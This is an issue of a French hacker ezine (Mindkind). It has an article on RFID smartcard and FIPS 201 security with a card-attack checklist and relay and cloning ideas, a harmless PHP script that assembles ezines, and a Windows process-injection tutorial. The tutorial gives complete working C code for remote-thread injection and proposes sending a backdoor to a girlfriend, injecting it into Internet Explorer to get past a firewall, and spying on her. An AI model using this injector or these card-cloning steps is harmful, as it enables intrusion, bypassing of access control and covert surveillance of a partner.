Donc une fois qu'on fait son authentification avec la commande spcifique du 
protocole ou doit passer le numro de la cl.
Il y a 3 niveaux de cls:
	Master PICC : Cl  root qui permet de crer des applications, changer les 
settings etc
	Master Application : Cl qui permet de contrler lapplication, changer les 
settings etc
	Normal : Cl dans l'application

On fois la carte setter avec nos diffrentes applications et cl, on doit 
setter celle qui roule, comme un programme dans un PC. C'est avec cette 
application quon va faire l'authentification  ou sur la Master. Le 
bruteforce est possible selon ce que j'ai entendu du concepteur de RfDump , 
la nouvelle version devrait permettre a sur Desfire et SmartMX(tous les 
deux de Phillips ;) et je vois pas comment y peuvent faire un bruteforce sur 
n'importe quelles cls , vu que l'authentification se fais sur l'application 
courante ou le master Key, on verra avec leur soft. En faite nimporte quoi 
se bruteforce mais est-ce que c'est toujours optimal? ...

L'application de la carte dpend de ce que le lecteur fait avec, la majorit 
du temps, il inscrit des numros (un identificateur d'usager), dans un 
format que tous les contrleurs vont comprendre. Les carte magntique 
uttilise le format ABA, les cartes de proximit peuvent aussi choisir de 
stocker dans se format.
Dans le domaine de la scurit, Wiegand est trs connu, c'est une sorte de 
format de trame, et de protocole de communication pour des identifateurs, 
comme a, le lecteur peut aller sur n'importe quel contrleur d'accs qui 
supporte par exemple le Wiegand 26 bits. Le lecteur, a un output avec des 
pins qui envoie des bits sur un cable Wiegand, qui peut aller jusqu'a 
plusieurs mtres.Un lecteur sans contrleur ne fais pas grand-chose, nous 
avons besoin d'une bote qui va recevoir les outputs du lecteur et prendre 
des actions en consquence.

Le contrleur d'accs a une base de donnes avec ses numros l, et il 
compare sils sont valides dans chacun de ses groupes. Si oui, il dbarre la 
porte pour X de temps et lock aussitt, dpendamment de la configuration, 
s'il ne sont pas valides ou qu'il na pas russi  se connecter avec une cl 
, il va refuser l'accs.
Un code "Duress" peut tre aussi entrer dans la trame Wiegand , dans le cas 
ou un voleur prendrait ta carte et te demanderais le pin , tu aurais 2 pins 
, un normal et un dans le cas d'une alarme , alors le ptit voiyons entrerait 
le code duress et le contrlleur pourrais ainsi voir le flag et caller la 
police :)

Est-ce que ce qu'il a y des trous de scurit dans les smartcards ? La 
rponse est non car avec les nouvelles cartes , les anciennes attaques ne 
fonctionne plus. C'est rendu assez scure , pour le moment avant que 
quelqu'un perce encore les protections ;]

Voici le copy and pastel d'un blog sur la carte Desfire :
------------------------------------------------------------
L'ACLU (Organisation amricaine de dfense des liberts individuelles) vient 
de rvler plusieurs documents montrant que le gouvernement amricain t au 
courant des risques li  l'utilisation de la technologie RFID dans les 
nouveaux passeports.
a se passe ici. Je vous recommande aussi les deux textes suivants :

    * ACLU Comments on Electronic Passports to State Department
    * Naked Data: How The U.S. Ignored International Concerns and Pushed for 
Radio Chips In Passports Without Security

Les risques soulevs sont : le skimming (soustraite des informations du 
passeport d'un porteur quand il est dans le champ d'un lecteur), 
l'Eavesdropping (coute de communication RFID), le cloning (refaire  
l'identique le contenu de la puce RFID), etc.

Personnellement je pense qu'un des dangers les plus mdiatiss qui est le 
skimming (lecture des donnes perso de son passeport  l'insu de son plein 
gr &  distance) n'a pas lieu d'tre.
En effet, il y a une confusion dans les thermes utiliss. La technologie 
sans contact utilis est DESFire de Philips et bien qu'utilisant les mmes 
normes sans contact que les tags RFID, il n'y a rien  voir. Ces derniers 
ont une porte de plusieurs mtres sils sont utiliss avec des portiques 
(utilisation dans les hangars de stockage) alors que la distance 
d'utilisation de DESFire est de... 3cm!! De plus, cette technologie propose 
beaucoup plus d'espace mmoire qu'un tag RFID ainsi qu'un processeur de 
crypto, il faut donc beaucoup plus d'nergie et donc une prsence plus 
longue dans le champ lectromagntique.
Par contre, l o je trouve qu'il y a une totale aberration c'est qu'avec 
d'une part des blocs-mmoires pouvant tre protgs par une cl de lecture 
et la prsence d'un processeur de crypto, c'est de laisser toutes les 
donnes en claires! Inadmissible je trouve. Et ce n'est pas la prsence du 
hach pour prouver l'intgrit des donnes qui va changer qq chose. Les 
risques d'coutes, de lectures  proximit & de clonage restent bien rels.

 la base l'ide de mettre une puce sans contact n'est pas bte du tout, car 
elle permet une plus grande dure de vie du document (les cartes  puces  
contact sont sujettes  l'usure, cf les CB  changer tous les 2ans), mais 
elle s'est plutt trs mal concrtise.

Frdric Kieny
http://72.14.207.104/search?q=cache:aP1BI9mBhH8J:fkieny.free.fr/index.php%3F2005/04/07/343-passeport-biometrique-rfid-reactions-de-laclu+desfire+blog&hl=en&gl=ca&ct=clnk&cd=6&client=firefox-a)
------------------------------------------------------------
C'est la seule remarque sur la scurit de cette carte que j'ai trouve sur 
le net, et je ne pense pas que le gouvernement amricain se munt d'une 
carte plein de flaws ..  part pour pouvoir en lire le contenu.. Si je me 
fis  la documentation, c'est simplement si tu spcifies certains attributs 
qu'un fichier peut tre pass en clair dans les airs. Le gars a tord au 
sujet de la scurit de la carte. Le seul bug de scurit de smartcard que 
je connaisse est dans les anciennes cartes Mifare , avec les fonctions de 
dbit-crdit, qui permet d'incrmenter un montant, ou dcrmentes.  Si tu  
avais seulement la cl pour dcrmenter, tu pouvais dcrmenter une valeur 
ngative et ainsi monter le montant. Je ne sais pas si a affecte les 
nouvelles cartes. Les cartes ne sont pas lisibles si on ne se connecte pas 
avec les cls READ, et on ne peut pas crire si on a pas accs WRITE .. Dont 
pas de clonage. Pour le MITM c'est protg avec l'authentification, tout est 
crypt par la suite donc rien nen claire..
C'est complexe car mme avec les cls pour lire , il faut savoir dans quel 
fichiers aller lire, dans quel application , et il y a un risque que 
l'information sois aussi encrypter home made dans la carte , rien n'empche 
a.


Sauf que meme si on ne peux pas couter et trouv des secrets caches dans 
les trames, il y a un risque de Replay Attack ( aussi appell le problme du 
grand Matre d'chec , Mafia Fraud , playback attak) sur certaine carte.
L'attaque consite tout simplement  couter et  retransmettre avec d'autres 
readers. En principe le reader ne pourra pas lire la carte plus loin que 10 
cm , sauf que rien empeche de lire une carte la transmettre par un moyen 
donn  quelqu'un qui lui va tre dans le 10 cm.

Imaginons le scnario suivant:

Nous sommes dans un magasin ou il uttilise un systme de paiement avec carte 
sans contact.
Acteurs : Fraudeur1 et Fraudeur2, et Victime

Le client innocent uttilise une carte pour pay , la transaction est bonne , 
il repart avec a grosse TV.
Fraudeur1 dis a Fraudeur2 que c'est lui la victime avec son regard louche. 
Fraudeur2 pointe son antenne vers Victime. Fraudeur1 tante de s'acheter une 
mga chaine stro , il sort ensuite son palm-modifier qui lui servira de 
carte. Son palm sera modifier pour pouvoir parler au reader du magasin , 
ainsi qu'un reader que fraudeur2  sur lui. Le reader de Fradeur2 fais une 
passerelle avec la carte de Victime. Les informations que Fraudeur1 va pass 
au guichet son celle de Victime, il n'ont fais que augmenter le champ de 
rception en retransmettant le data. De cette facon Fradeur1 et 2 n'ont pas 
a uttiliser des attaques crytographiques lourdes contre les cartes et le 
reader. Ils uttisent donc la carte de l'autre qui sortait du magasin bien 
content avec a TV.

Ce n'est pas une technique malheureusement qui va fonctionner sur la Desfire 
, car elle a une protection Replay attack justement ;] Un des protocoles de 
protection du replay est appel : Hancke and Kuhns distance bounding 
protocol. Je suppose que les carte rcentes ont sous une protection contre 
a , mais c'est quand mme une attaque puissante.

Certain RFID tag sont writable et pas protger comme le montre RFDUMP sous 
Linux, mais les cartes sont pour la plupart sont bien protger, on parle 
quand mme du domaine du contrle d'accs et certaines cartes vont avoir des 
informations cruciales sur certaines personnes. Ce qui peut tre inquitant 
c'est comme le disant le mec du blog, le skimming , donc les infos lisibles 
par tout le monde et le fait qu'on puisse aller altr les donnes. Il y a 
aussi une limite a l'usure du EPROM a l'intrieur de la carte, pe qu'il est 
possible d'crire en boucle continue et de faire en sorte de barrer toute 
criture future.

Cot physique , les cartes sont blind, il n'est pas possible de simplement 
copier le EPROM dans une carte vide ou homemade. Il y a des des sensors qui 
vrifie physiquement que la carte n'est pas altr et empche le clonage de 
cette facon ou le modification avec des rayons ultraviolets.

Pour ce qui du contrleur, a dpend du fabricant, la plupart son protg 
par des mots de passe, on ne peut pas envoyer de commandes (en sachant les 
protocoles closed-source , le plus souvent) si on est pas authentifier, a 
va de soi, mais chacun dois avoir une procdure pour ouvrir les portes 
manuellement.. Mais a reste plus du ct informatique (sniffer les comm 
ports ou le trafic rseau). Le circuit lectronique est de type est 
normalement ferm, donc si on ferme le courant a n'ouvrira pas la porte (le 
relay ), l'attaque serait trop facile. L on rentre dans le domaine de 
l'espionnage, si on a l'argent il y a aucune porte qui peut vraiment rester 
ferme, pour le commun des mortels c'est suffisant. On voit rarement des 
exploits sur les smartcards , mais en voici un qui a t fait sur les cartes 
Kinko:
http://www.mal-aware.org/2006/02/28/fedex-kinkos-smart-cards-hacked/
Le hack est tout simplement qu'il ont russi a trouver la cl non encrypte 
sur la carte avec des appareils d'lectroniques. En obtenant cette cl il 
peuvent rcrive les donnes sur la carte incluant le numro de srie et les 
informations de solde.

Passons maintenant  Fips 201
Fips 201 c'est les normes gouvernementales amricaines pour tout ce qui est 
 scurit . http://fips201ep.cio.gov/
a inclut les normes pour les systmes d'accs, les databases , tout le 
stock pour leur homeland security.
Ca indique le format des cartes contact/sans contact, ainsi que les 
protocoles de biomtrie et tout ce qui  rapport avec a par exemple les 
badges d'identification. C'est un paquet de documents techniques crit par 
des professionnels du NIST en autre. En gros c'est vraiment un protocole de 
comment le data va circuler et son format. Ils se sont aperus avec le 11 
septembre qu'il allait unifier leur systme, question de permettre  un 
officier d'aller dans un endroit et pouvoir rentrer sans problme de 
compatibilit du systme. Avant les fabricants de systmes d'accs 
utilisaient leurs propres cls , et stockaient les donnes o il le dsirait 
sur les cartes. Un autre lecteur pouvait voir la carte, mais ne pouvait pas 
connatre le numro de l'usager, c'tait scure. Maintenant les informations 
sont stockes  un endroit spcifique et le format du data est connu. De 
plus, n'importe quel lecteur va pouvoir avoir accs  ses informations SANS 
CL. Les informations incluent un numro d'agence, un numro 
d'identification, une date d'expiration, etc. C'est un fichier dans la carte 
qui sera crite en sorte que n'importe quel fabricant puisse accder au 
fichier avec ou sans crypto.Rien n'empche  part des lois  quelqu'un avec 
un writer de carte d'inscrire ce qu'il dsire dans les champs du fichier et 
se faire pass pour quelqu'un d'autre. FIPS facilite le clonage de carte, 
car en crivant le numro d'agence ou le numro d'un autre carte, c'est 
vraiment copiez l'identit de l'autre carte et rien n'empche cela, car les 
numros sont a prsent lisible par tous les lecteurs, ce qui avant n'tait 
pas faisable.
Il font en sorte de dtruire le march des lecteurs en fessant a, 
maintenant les lecteurs sont tous sur le mme pied, c'est qu'une question de 
prix entre un comptiteur ou un autre. Il n'y a plus vraiment de feature 
spcial, a va aller a nos amis les Chinois. Le march va tre plus pour les 
contrleurs d'accs qui vont subir peu de changement au niveau de FIPS.

Lexique
CHUID = CardHolder Unique Identifier. Identificateur principal de la carte.
AID = Application ID . Identificateur de l'application
FID = File ID . Identificateur du fichier
FASC-N = Federal Agency Smart Credential Number
ACPU = Type de trame un peu comme TCP-IP, mais radio

CHUID
--------------------
Buffer Length : 2 bytes MAX
FASC-N(SEWG-012 , ancien numro d'assurance sociale qui a chang de nom) : 
25 bytes MAX . 40 chars en BCD donnent 200bits (Iso 7811)
Agency Code : 4 bytes MAX
Organization Identifier : 4 bytes MAX
DUNS : 9 bytes MAX
GUID : 16 bytes MAX//Il sera stocker une adresse ipv6
Expiration Data : 8 bytes MAX
RFU
Authentification Key Map : 512 bytes MAX
Asymmetric Signature : 2816 bytes MAX
Error Detection Code : 1 byte MAX
FASC-N
Agency Code = 4 BCD digits //identifie l'agence gouvernementale
System Code = 4 BCD digits //identifie le systme que la carte est enrl, 
site code
Credential Number = 6 BCD digits //encod par l'agence
CS = 1 BCD digits //Credential series.
ICI = 1 BCD digits //Recommend de toujours mettre 1 dedans
PI = 10 BCD digits //Person Identifier : Code numrique qui identifie la 
personne. Token
OC = 1 BCD digits // Organization Category : 1-Federal Gov , 2-State Gov , 
3-Commercial , 4- Autre Gov
OI = 4 BCD digits //Organization Identifier : 1-NIST, 2-State Code , 
3-Company code, 4  Numeric Country Code
POA =1 BCD digits // Person/Organization Association Category : 1  Employee 
, 2  Civil, 3-Executive Staff, 4-Uniformed Service, 5  Contractor, 
6-organizational affiliate , 7-6-organizational beneficiary
SS =1 BCD digits // Start Sentinel : Premier caractre quand une carte est 
lu
FS =1 BCD digits // Field separator : Caractre de sparation
ES =1 BCD digits // End Sentinel : Caractre de fin
LRC=1 BCD digits // Checksum

3 niveaux daccs au CHUID selon le choix du manufacturier d'implmentation 
du FIPS:
Low  Uttilise aucune cl pour laccs, mulation dune carte contact.Le 
flag du fichier dois avoir le frre accs 0xE, qui permet de lire sans 
authentification et envoie-le data en plain.text, sans crypto.

Iso 1443-4 Activation PICC normal
Envoit de Select File 0x3000 ou 0x0007 (legacy)
Iso Select File soccupe du AID / FID
Envoit Read Binary , devrait recevoir 27 bytes
Dcode le CHUID , extraie le FASC-N. Il dise dutiliser le Agency Code + 
System Code + Credential Number comme unique Token ou le GUID (ipv6). C'est 
ce qui sera envoy au contrleur pour son input , question de savoir si a 
match a database interne. Loutput du lecteur est de 200 bits.

2. Medium  lecteur configur avec des site secret Key ou site public Key
3. High - Crypto , FIPS 140 . Seulement les cartes contact, car elles sont 
Iso 7816-4 ACPU mais laissent le droit dutiliser des protocoles 
propritaires pour les contacts laids comme Desfire /3DES. Le medium et le 
high se ressemblent beaucoup, c'est simplement le niveau de crypto qui les 
diffrencie je n'expliquerais pas la cryptographie dans cet article, mais 
c'est tout le protocole de handshake et random Key, blabla selon les 
diffrents algo.
Dans le fond il on rajouter le Low profile, avant ce n'tait pas possible de 
bypasser les cls pour pouvoir lire. Il reste encore les deux profiles 
scure, mais d'aprs moi, les fabricants vont absolument implmenter le low 
profile. Imaginons, que tu arrives avec ta carte de Dallas qui ne supporte 
pas 3DES ou AES mais qui est ISO 14443, le lecteur doit lire quand mme la 
carte, pour se faire il va se mettre en low profile.
L'avenir nous dira ce qui arrivera avec les normes gouvernementales 
amricaines, reste  savoir si le Canada va engendrer le pas dans la mme 
direction.
Car en y pensant un peu, les Amricains vont tout mettre sur FIPS , inclut 
les passeports, alors va falloir tre compatible avec eux.

Si vous voulez jouer avec le RFID, il faut s'quiper et ce nest pas encore 
trs  script kiddie. Il vous faut un lecteur qui a aussi la possibilit 
d'crire et encore la, il faut qu'il supporter ISO 14443, savoir quel type 
de carte il supporte, qu'il est branchable sur un PC ou ordinateur portatif 
etc . Le site de RFdump propose un lecteur pour faire a ainsi que le soft, 
jusqu' date je nai pas vu grand application autre que celle-l. C'est 
quand mme un domaine trs intressant, surtout aprs avoir lu ce quils ont 
fais avec Rfdump dans des super marchs. Ce que je conseillerais pour 
quelqu'un qui veut connatre la scurit d'une carte :
1. Connaitre le type de carte, quel compagnie , quel protocole elle uttilise
2. Savoir comment parler avec la carte  , savoir les caractristiques de la 
carte ( Nb de byte de data , etc )
3. Dterminer le niveau d'encryption , voir si les mot de passes sont rest 
par default (l'encryption va tomber)
4. Dterminer s'il y a des accs read permis sans cl sur certains fichiers.
5. Dterminer s'il y a des accs write permis sans cl sur certains 
fichiers.
6. Sniffer la communication pour voir s'il a pas des trames lisibles en 
claire.
7. Tenter une attack replay.
8. Si les numros de carte sont dcoder , on peux placer remplacer le reader 
par un homemade qui lui
va envoyer des numro vols.
9 . Programmer un reader pour qu'il aggisse comme une carte , on pourrais 
ainsi envoyer le meme UID qu'une carte connu, et peut-tre pouvoir rentrer 
simplement avec a , si l'authentification est null.

Rfrence FIPS : 	http://www.smart.gov/iab/documents/PACS.pdf
			http://fips201ep.cio.gov/documents/fips1402.pdf

Lecture :
http://www.semiconductors.philips.com/acrobat_download/other/identification/SFS075530.pdf
http://www.pcscworkgroup.com
http://www.mal-aware.org/2006/02/28/fedex-kinkos-smart-cards-hacked/
http://www.phxnews.com/fullstory.php?article=36917 // Funny story a propos 
de la fameuse scurit amricaine

John Wiley & Sons - Smart Card Handbook
John Wiley 
-RFID.Handbook.Fundamentals.and.Applications.in.Contactless.Smart.Cards.and.Identification.Second.Edition
Smart Card Manufacturing - A Pratical Guide
RFID For Dummie
RFID Security Syngress
Picking Virtual Pockets using Relay Attacks on Contactless Smartcard Systems
How to Build a Low-Cost, Extended-Range RFID Skimmer
Location Verification using Secure distance bounding protocol
A Practical Relay Attack on ISO 14443 - Proximity Cards - Gerhard Hancke1











     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Mindkind   |
           			                  '--------------------'



                    /-----------------------------------------------------\    
                    |              PyroFreak.Org ScanSheet                |    
                    |-----------------------------------------------------|    
                    | Vous faites du phreaking, ou vous voulez en faire   |    
                    |                                                     |
                    |                       SIMPLE                        |    
                    |                                                     |    
                    | Visiter notre site aller sur la page ScanSheet      |    
                    | remplisser les champs et appuyer sur                |
                    |                                                     |
                    | Version Imprimable pour ensuite:                    |
                    |                                  Diffuser/Imprimer  |    
                    |                                                     |    
                    |-----------------------------------------------------|    
                    | Http://Www.PyroFreak.Org/pyrotool/pyroScanSheet.php |    
                    \-----------------------------------------------------/    






     	    .-- -- ---- ----.
     	 ___|  MKD1001\012  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                            Ezine Maker
   
  	                                       AKA

                                 Un don de dieu pour la concurence				 
                                      




	Dans un elan d'extreme generositer generer par une fausse pitier camouflant le
	desire decrire un article de plus, jai gosser pour vous (les quelques fou qui
        edite des ezines)  un ezine maker. Etant bien placer pour savoir que lassemblage
	d'un ezine n'est pas une tache tres palpitante j'ai creer un petit script php
        qui fait toute la job sale pour nous. Alors voilla, je loffre a tous, peu etre
        ainsi finirons nous par avoir un peu de vrai concurence ;]. Cette article 
        expliquera le fonctionnement et les quelques conceptes basic utiliser par se
        script. Le but etant encore une fois de demontrer qu'un peu d'imagination 
        et encore moin de code peuvent changer une soiree endormante en sque vous voudrez,   
        j'en ai rien a foutre, jsuis canadien.


		


	Le fonctionnement de base est tres simple et similaire en beaucoup de point a 
ce qu'on pourrais faire pour modifier de facon dynamique un fichier html par l'application
dun filtre php. Exeption faite que ici nous n'avons pas de fichier html mais un fichier
configuration dans lequel n'est present que des variables interpreable par notre 
ezinemaker. Aucun parsing ne sera necessaire outre celui de differencier les differentes
variable l'une des autres. Comme une image vaut milles mots, je vais vous paster 
directement ici le contenu du fichier de configuration et vous expliquer comment le code
l'interprete et bati le ezine a partir des informations donner dans la conf. 



------------------------------start of template_mkd1000.txt

%disclaimer
%01.txt
%02.txt
%03.txt
%pub01.txt
%04.txt
%05.txt
%pub02.txt
%06.txt
%pub03.txt
%07.txt
%08.txt
%pub04.txt
%09.txt
%10.txt
%pub05.txt
%11.txt
%12.txt
%13.txt
%end

--------------------------------end of template_mkd1000.txt        


chaque mots debutant par un % est considerer comme une variable, qui est a remplacer par le
contenu du fichier du meme nom. Le ezine et ainsi assembler en moin de 2 par le php qui 
sempresse de concatener tout les fichiers en un seul. simple comme bonjour.


<?PHP
$zinefile = "template_mkd1000.txt";
$EOL = "\n";
$ezinefinal = "Mindkind1000.txt";

$zine = read_file($zinefile);




$line = explode($EOL,$zine);
$ezine = "";
for ($x=0;$x<count($line);$x++)
	{	
	$ezine .= read_file(str_replace("%","",$line[$x]));


	}

$fp = fopen ($ezinefinal, "w+");
fputs ($fp,$ezine);
fclose ($fp);

function read_file($file)
	{
	@$fid=fopen($file,"r");
	$page="";
	if ($fid)
		{
		while (!feof($fid))
			{
			$page=$page.fread($fid,1024);
                        }
		fclose($fid);
		}
                
	else
		{
		$page=0;
		}
	return($page);
}
?>	


	voila, ce n'est pas plus compliquer que ca, il suffisait d'y penser. 
quelque petite modification pourrais etre faite comme par exemple rajouter
un nombre de ligne a la fin de chaque fichier question detre sur que 2 text
ne se retrouve pas coller a linterieur du ezine. Nous n'aurions qua faire 
la modification suivante:

$maxbuffer = "5";
$paddingchar = "\r\n";
$buffer = "";
for ($x=0;$x<=$maxbuffer;$x++)
	{
	$buffer .= $paddingchar;
	}

$line = explode($EOL,$zine);
$ezine = "";

for ($x=0;$x<count($line);$x++)
	{	
	$ezine .= read_file(str_replace("%","",$line[$x])).$buffer;
	}


une autre modification pourrais consister a ajouter une classe de parsing
text qui soccupe du word wrap et autre platitude du genre, mais vous aurrez
a attendre a une autre fois pour en beneficier, ou mieu encore, coder le 
vous meme. Tout les outils sont a votre porter de main. 





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Wyzeman    |
           			                  '--------------------'





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                         pub of pub                      	         :  .
                                                                                         |  |
                                                        				 |  .
                           <Ivanlef0u_11> Wyzeman ta deja vu le film Les Visiteurs ?     '  '
 			   <Wyzeman> jai deja vu la bande annonce , ca compte ?          |  |
                           <Ivanlef0u_11> bof                                            |  |
                           <Ivanlef0u_11> c'est bien francais                            |  |
                           <Ivanlef0u_11> des bonnes expresions du moyen-age la          |  '
                           <Ivanlef0u_11> t'apprend plein de choses ;)                      ;
                           <Wyzeman> jen doute aucunement                                |  |
			   <Wyzeman> jai tellement confiance que jirais pas verifier si  |  |
                                     tu dit vrai ou non                                  |  |
                           <Ivanlef0u_11> genre                                          :  ;
                           * Ivanlef0u_11 dit a Wyzeman de sauter du pont                .  |                
                           * Wyzeman demande ce quil entend dire par sauter pont du et de|  |
                           <Ivanlef0u_11> pas suivi la ?                                 '  |
			   <Wyzeman> tant mieu					         |  |
                           <Ivanlef0u_11> rofl                                           |  '
                           * Wyzeman sen va en sifflant                                  .  ,
                           * Ivanlef0u_11 se gratte la tete     			 |  |
                           <Wyzeman> nessayer pas ca a la maison les jeunes, c du s-e    |  |
                                     tres dangereux, nous somme des professionnels. 						 :  .
                           <Ivanlef0u_11> et puis je dirais aussi                        |  |
                           <Ivanlef0u_11> pile vendu sparement                          ;  |
                           <Wyzeman> aucun n'achat n'est requis                          |  |
                           <Wyzeman> details a l'interieur                               |
                           <Ivanlef0u_11> ra la societe de consommation, ca rend idiot  .  ;      
                     			  ca, on apprend pleins de slogans a la con      |  |
                           <Wyzeman> voyons c super pratique seul dans le bois a -15c   /   '
 	                   <Wyzeman> a tien un ours, aucun nachat n'est requis         /   / B
	  		             details a l'interieur ;)    		      /   / U   
  	   		   <Wyzeman> a tien un fusil lazer anti ours, pile vendu,    /   , P   
                                     pile vendu separement	                    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
           




     	    .-- -- ---- ----.
     	 ___|  MKD1001\013  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                       La Piqure du poulet
   
  	                                       AKA

				   brulez moi ce type vivant !!!
                                      


La piqure du poulet

I)Intro
-------


En ces temps sombres ou les poulets sont devenus les pires ennemis de  l'humanitee  il me faut 
reagir, une seule solution lancer un antidote ! 

#DEFINE Epouvette_size 16

int AndidoteFactory(char * target)
{
	int vaccin;
	printf("Fabrication de l'antidote contre: %s\n",target);
	/*
	Procedure top-secrete on montre pas ! 
	*/
	return vaccin
	
}

int main(int argc,char *argv[])
{
  int solution;
	char buff[Eprouvette_size];
	if argc(!=2)
	{
	printf("Usage is: antidote <target>\n");
	return -1,
	}
	
	solution=AntidoteFactory(argv[1]);
	
	printf("La solution est prete!\n Veuillez aller la recuperer a l'acceuil de Minkind Corporation\n);	
	return 0;	
}


Aller fini de troller la. Le sujet du jour sera l'injection de code dans un  poulet heu.. dans 
un processus et nous allons notamment utiliser le shellcode  generique  que  j'ai  pondu  dans 
Intelligent  Windowz  Shellcodes. La  chose  est  simple  on choisi un process, on l'ouvre, on 
balance le code, on l'execute puis on se casse bref un peu comme avec les poulets.

II)Ching Chong ou la methode chinoise
---------------------------------------

Ban je balance le vaccint et j'explique :)

------------CUT HERE--------------------
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

#define WIN32_LEAN_AND_MEAN

int NameToPid(char *ProcessName);

int main (int argc,char *argv[])
{
	if (argc !=2){
	printf("Usage is :inject <process>\n");
	exit(-1);
	}

	char code[]="\x33\xC0\xC3"; //xor,eax,eax ret

	printf("[*]Ownage du processus: %s\n",argv[1]);

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));
	
	if(hProc==NULL)
	{
	printf("Error with OpenProcess: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Handle: 0x%x\n",hProc);
	
	int cbCodeSize = sizeof(code);
	printf("[*]CodeSize: %d\n",cbCodeSize);

	// on copie le code
	LPVOID CodeMem = VirtualAllocEx(hProc, NULL, cbCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (CodeMem==NULL)
	{
	printf("Error with VirtualAllocEx: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Emplacement memoire: 0x%x\n",CodeMem);

	if (WriteProcessMemory(hProc, CodeMem, &code, cbCodeSize, 0) == FALSE)
	{
	printf("Error with WriteProcessMemory: %d\n",GetLastError());
	exit(-1);
	}

	DWORD ThreadID;
	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) CodeMem ,0, 0, &ThreadID);
	
	if (hThread==NULL)
	{
	printf("Error with CreateRemoteThread: %d\n",GetLastError());
	exit(-1);
	}

	if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
	{
	printf("Error with WaitForSingleObject: %d\n",GetLastError());
	exit(-1);
	}

	if(VirtualFreeEx(hProc, CodeMem, 0, MEM_DECOMMIT)==FALSE)
	{
	printf("Error with VirtualFreeEx: %d\n",GetLastError());
	//exit(-1);
	}


	if(CloseHandle(hThread)==FALSE)
	{
	printf("Error with CloseHandle: %d\n",GetLastError());
	//exit(-1);
	}

	printf("[*]Target injected\n");
return 0;

}

int NameToPid(char *ProcessName)
{
  HANDLE hProcessSnap;
  PROCESSENTRY32 pe32;


  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  if(hProcessSnap == INVALID_HANDLE_VALUE)
  {
   printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
   exit(-1);
  }

  pe32.dwSize = sizeof(PROCESSENTRY32);

  if( !Process32First( hProcessSnap, &pe32 ) )
  {
    printf("Error with Process32First: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);    
    exit(-1);
  }

 while(_stricmp(pe32.szExeFile,ProcessName)!=0) //_stricmp fuck la case sensitive
 {
	if(Process32Next(hProcessSnap,&pe32)==FALSE)
	{
	printf("Error with Process32Next: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);     
    exit(-1);
	}
 }
	
	CloseHandle(hProcessSnap);

	return pe32.th32ProcessID;

}

------------CUT HERE--------------------

Ban c'est pas tres dur, il suffit de donner le nom du processus a injecter et  paf  le poulet. 
En fait je vais un expliquer un chtit peu:

D'abord un recuper un pseudo-handle sur le process avec  OpenProcess,  la  fonction  NameToPid 
permet comme sont nom l'indique de trouver le PID du  process (faites  ALT+CTRL+SUPPR et ds le 
gestionnaire des taches vous pourrez les voir... hey du  calme je vois venir bande de pervers, 
c'est pas des filles apwal les PID! ..dmg d'ailleur).

Ensuite  on  aloue  un  peu  memoire  ds le process avec VirtualAllocEx tout simplement :), on 
specifie juste la taille que l'on veut et des infos sur ce qu'on va faire avec.

Apres on envoie le code avec WriteProcessMemory jusqu'a la je pense pas que  vous  soyez  trop 
perdu. Puis on l'execute avec CreateRemoteThread.

On  attend  que  sa  soit  cuit  avec  WaitForSingleObject  puis  on  libere  la  memoire avec 
VirtualFreeEx et quitte avec CloseHandle.

*----------------* 
| Ching Chong !! | 
*----------------*

Le soucis c'est que notre code injecte ne sait pas ou il est le pauvre, il est  seul  dans  un 
monde qu'il ne connait pas, il faut donc qu'il trouve sont petit  chemin  tout  seul :) Ho bah 
vous me direz pkoi pas ne pas utiliser un shellcode  generique !  c'etait la fameuse technique 
chinoise !! 

Ici le code est tout bete: xor eax,eax //eax=0 ret //on se casse

Mais  ce  qui  serait  plus interressant ca serais d'executer un code ouvrant un shell, ou une 
reverse backdoor. La nous arrivons dans un monde ou l'on peut contourner un firewall !!!

III)Coup de tete, balayette!! 
------------------------------

He nan mdes et msieurs vous ne revez on peut grace a  l'injection  de  code  contournez un fw. 
Imaginer que l'ordi que vous attaquer soit protege par un firewall, vous envoyer un prog  (ici 
une backdoor par ex) par msn a votre tite  amie pour savoir si elle ne voue pas un culte  a la 
secte des poulets, bref elle  le  recoit et le lance (vraiment une belle dinde celle la) et la 
ching chong ! le firewall block l'ouverture du port de votre backdoor ...snirf :( Mais avec ce 
new produit toutes vos taches disparaiteront en un moins de tps ! En  effet  si  on  envoie un 
prog  qui  inject  du  code  ds  un  process  comme iexplorer.exe (internet  explorer)  qui  a 
normalement l'autorisation d'aller sur le web le firewall  n'interdira pas  l'acces  au net et 
ching chong ! vous aurez acces au paycay de votre cherie.

Ban j'avoue ya un peu de reve la dedans car il faut que: 
1)le process soit lance 
2)qu'il soit autorise a acceder au net 
3)que  le  fw  soit  vraiment  pourri  car  je  crois que les recents savent detecter ce genre 
  d'attaque :(

Mais ca je le ferais ds un prochain article. Je suis dsl j'ai plus le tps pour le moment.

